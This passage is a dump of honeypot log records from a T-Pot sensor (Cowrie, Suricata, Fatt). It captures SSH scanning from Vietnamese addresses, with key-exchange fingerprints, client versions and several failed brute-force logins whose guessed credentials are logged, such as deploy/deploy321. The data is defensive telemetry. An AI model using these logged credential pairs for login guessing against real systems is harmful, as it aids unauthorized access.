23014	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.36164+03	2021-09-20 14:15:06.959471+03	{"_id": "YQbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "29caf887c4ba", "@version": "1", "timestamp": "2021-09-20T11:07:18.361640Z", "@timestamp": "2021-09-20T11:07:18.361Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23015	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.766378+03	2021-09-20 14:15:06.961471+03	{"_id": "YgbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4f296091d354", "@version": "1", "duration": 2.72790265083313, "timestamp": "2021-09-20T11:07:18.766378Z", "@timestamp": "2021-09-20T11:07:18.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23016	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:18.759612+03	2021-09-20 14:15:06.962471+03	{"_id": "TwbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "c976395e20d4", "@version": "1", "duration": 3.0374503135681152, "timestamp": "2021-09-20T11:07:18.759612Z", "@timestamp": "2021-09-20T11:07:18.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23017	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.846769+03	2021-09-20 14:15:06.96447+03	{"_id": "ZAbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [deploy/deploy321] failed", "session": "a84799560cf6", "@version": "1", "password": "deploy321", "username": "deploy", "timestamp": "2021-09-20T11:07:18.846769Z", "@timestamp": "2021-09-20T11:07:18.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23018	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:19.129972+03	2021-09-20 14:15:06.96547+03	{"_id": "fgbjAnwBvYTbRNuEjglo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2052770683577991, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46342, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.129972Z", "@timestamp": "2021-09-20T11:07:19.129Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23019	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:20.055205+03	2021-09-20 14:15:06.96647+03	{"_id": "jgbjAnwBvYTbRNuEjwnf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:57778 (192.168.176.2:22) [session: cfe69188ff37]", "session": "cfe69188ff37", "@version": "1", "protocol": "ssh", "src_port": 57778, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.055205Z", "@timestamp": "2021-09-20T11:07:20.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23020	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.863306+03	2021-09-20 14:15:06.96747+03	{"_id": "iQbjAnwBvYTbRNuEjwne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "926186f5e9fe", "@version": "1", "duration": 2.609304189682007, "timestamp": "2021-09-20T11:07:19.863306Z", "@timestamp": "2021-09-20T11:07:19.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23021	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:19.611619+03	2021-09-20 14:15:06.97047+03	{"_id": "mgbjAnwBvYTbRNuEjwnf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ca082dd3e488", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:19.611619Z", "@timestamp": "2021-09-20T11:07:19.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23022	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:20.139004+03	2021-09-20 14:15:06.971474+03	{"_id": "mwbjAnwBvYTbRNuEjwnf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "779eb8f4bb9e", "@version": "1", "timestamp": "2021-09-20T11:07:20.139004Z", "@timestamp": "2021-09-20T11:07:20.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23562	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.15598+03	2021-09-20 14:15:07.667471+03	{"_id": "ewbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [jay/jay] failed", "session": "10000255190e", "@version": "1", "password": "jay", "username": "jay", "timestamp": "2021-09-20T11:07:38.155980Z", "@timestamp": "2021-09-20T11:07:38.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23023	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:18.943062+03	2021-09-20 14:15:06.9735+03	{"_id": "qQbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48468, "timestamp": "2021-09-20T11:07:18.943062", "@timestamp": "2021-09-20T11:07:18.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23024	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:19.853925+03	2021-09-20 14:15:06.9745+03	{"_id": "qwbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58238, "timestamp": "2021-09-20T11:07:19.853925", "@timestamp": "2021-09-20T11:07:19.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23025	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.300487+03	2021-09-20 14:15:06.976473+03	{"_id": "rAbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "482f54a8b521", "@version": "1", "timestamp": "2021-09-20T11:07:19.300487Z", "@timestamp": "2021-09-20T11:07:19.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23026	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.683228+03	2021-09-20 14:15:06.977473+03	{"_id": "rQbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "96e31054e8cb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": 